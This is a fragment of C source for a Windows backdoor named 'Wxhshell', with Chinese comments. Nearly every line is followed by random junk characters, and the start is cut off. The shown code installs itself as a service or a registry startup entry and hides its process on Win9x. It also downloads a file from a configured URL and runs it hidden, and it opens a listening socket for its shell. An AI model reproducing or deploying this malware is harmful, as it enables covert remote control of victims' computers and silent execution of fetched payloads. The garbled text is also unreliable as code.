ULONG UniqueProcessId; =Lkn
ULONG InheritedFromUniqueProcessId; W\Pd:t
} PROCESS_BASIC_INFORMATION; b<y*:(:
@\F7nhSfa
PROCNTQSIP NtQueryInformationProcess; M%_*vD
XcoX8R%U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E?+~S M1~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cl3vp_
3Y#
HANDLE hProcess; Q(<A Yu
PROCESS_BASIC_INFORMATION pbi; _XZK2Q[
?M'CTz}<\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kI`HD
if(NULL == hInst ) return 0; **m8 HD
&5K3AL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m)66g]F+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @VP/kut
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gs"lmX-{$j
H%m^8yW1
if (!NtQueryInformationProcess) return 0; :a Cf@:']
e/Z{{FP%6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iyCH)MA
if(!hProcess) return 0; s@~3L
agfDx^,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H$ nzyooh
;s,1/ kA
CloseHandle(hProcess); P\ P=1NM
pm+E)z6Yo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ])y)]H#{
if(hProcess==NULL) return 0; \68bXY.
JUw|nUnl?
HMODULE hMod; 4?@5JpC9VA
char procName[255]; o]p$
w[5
unsigned long cbNeeded; "n3n-Y#'
=UO7!vr;[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I SZEP8w
Z]LP18m9kl
CloseHandle(hProcess); "
AvEo
~Fvz&dO
if(strstr(procName,"services")) return 1; // 以服务启动 wIRU!lIF9
9Q(Lnu
return 0; // 注册表启动 d^?e*USh
} *9KT@"v
w@P86'< v
// 主模块 KDg%sgRu}
int StartWxhshell(LPSTR lpCmdLine) uUaDesz~=
{ ?a+J4Zr3
SOCKET wsl; xPF.c,6b4=
BOOL val=TRUE; }c9RDpjh~
int port=0; }:?_/$};
struct sockaddr_in door; D'g@B.fXd
?jO<<@*2S
if(wscfg.ws_autoins) Install(); ;YokPiBy
:[?7,/w
port=atoi(lpCmdLine); l-IA Q!d
w'i+WEU>l
if(port<=0) port=wscfg.ws_port; BThrv$D}
MYJDfI
WSADATA data; KxmB$x5-=8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l;z+E_sQ
)@B!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W:f )#'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !x-9A
door.sin_family = AF_INET; |&S^L}V.C
door.sin_addr.s_addr = inet_addr("127.0.0.1"); h{]0
H'g
door.sin_port = htons(port); qoQ,3&<
wMm+E "}W
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &_QD1 TT
closesocket(wsl); sAX4giaLD
return 1; ,uO?f1
} |.~2C14[
2sBYy 8.r
if(listen(wsl,2) == INVALID_SOCKET) { B_c-@kl
closesocket(wsl); AA|G&&1y
return 1; 9Z2aFW9
} =;8q`
Wxhshell(wsl); H-&
ktQWK3
WSACleanup(); xjDaA U,
q/7T-"q/G
return 0; L{f0r!d|
Ov:U3P?%
} 7'{%djL
]R"n+LnI:=
// 以NT服务方式启动 -oju-gf K
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #B$_ily)
{ X=Y>9
DWORD status = 0; ]nS9taEA
DWORD specificError = 0xfffffff; O St~P^1
#R=6$
serviceStatus.dwServiceType = SERVICE_WIN32; jfR!M07|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (=53WbOh/t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cpq0'x\
serviceStatus.dwWin32ExitCode = 0; ]x_14$rk
serviceStatus.dwServiceSpecificExitCode = 0; oe_,q&e
serviceStatus.dwCheckPoint = 0; NUY sQO)
serviceStatus.dwWaitHint = 0; I7#+B1t
A{hST~s
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >y@3`u]
if (hServiceStatusHandle==0) return; (a|Wq{`[
\$8p8MP<&D
status = GetLastError(); "X1{*
if (status!=NO_ERROR) /h!iLun7I
{ v Dph}Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; bsWDjV~
serviceStatus.dwCheckPoint = 0; G;msq=9|
serviceStatus.dwWaitHint = 0; !E/%Hv1
serviceStatus.dwWin32ExitCode = status; A@EUH
serviceStatus.dwServiceSpecificExitCode = specificError; 9jUm0B{?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z+;670Z
return; V,3$>4x
} 1B`0.M'd
O;;vz+ j
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^@q$c
serviceStatus.dwCheckPoint = 0; V/DdV}n!
serviceStatus.dwWaitHint = 0; `ucr;P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `{@?O%UB
} TSd;L
u%hr
pc_$,RkN
// 处理NT服务事件,比如:启动、停止 s9YP
=)I
VOID WINAPI NTServiceHandler(DWORD fdwControl) !8%{(;(
{ aQfrDM<*XS
switch(fdwControl) ""F'Nzy
{ h,Tsb:Q"M
case SERVICE_CONTROL_STOP: 1QDAfRx
serviceStatus.dwWin32ExitCode = 0; ( /_Z^m9
serviceStatus.dwCurrentState = SERVICE_STOPPED; X?] 1/6rV
serviceStatus.dwCheckPoint = 0; SR1UO'.
serviceStatus.dwWaitHint = 0; 6n.C!,Zmn
{ "IsDL^)A9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NB/ wJ3 F
} T$xY]hqr
return; ki_Py5
case SERVICE_CONTROL_PAUSE: }~ o>H a;
serviceStatus.dwCurrentState = SERVICE_PAUSED; h3L{zOff
break; /&'rQ`nd
case SERVICE_CONTROL_CONTINUE: cd*F;h
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,W<mz7Z(@
break; A?OaP
case SERVICE_CONTROL_INTERROGATE: GfT`>M?QGK
break; 6t6#<ts
}; !Zf)N_k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,ffH:3F
} "^@0zy@x
=C2,?6!
// 标准应用程序主函数 &mp@;wI6@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -J*jW
N!
{ VFwp .1oa!
owc#RW9 7
// 获取操作系统版本 > jvi7
OsIsNt=GetOsVer(); 3YPoObY
GetModuleFileName(NULL,ExeFile,MAX_PATH); CVBy&o"6A
{oN7I'>
// 从命令行安装 cw{[% 7
if(strpbrk(lpCmdLine,"iI")) Install(); as6YjE.Yy
8CKI9
// 下载执行文件 :Keek-E`e=
if(wscfg.ws_downexe) { Doy7prKI8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Li_ a|dI
WinExec(wscfg.ws_filenam,SW_HIDE); 0dgp<
} g"sW_y_O
6muZE1sn
if(!OsIsNt) { ,.<l^sj5
// 如果时win9x,隐藏进程并且设置为注册表启动 ;M"JN:J8
HideProc(); J Covk1
StartWxhshell(lpCmdLine); 5rpTR
} QGnBNsA h
else q.>{d%?
if(StartFromService()) pTlNJ!U>
// 以服务方式启动 Ey!+rq}
StartServiceCtrlDispatcher(DispatchTable); k:0HsN!F9
else Yl#r9TM
// 普通方式启动 @bj3N
StartWxhshell(lpCmdLine); z@3t>k|K
a:tCdnK/
return 0; H`;q@
}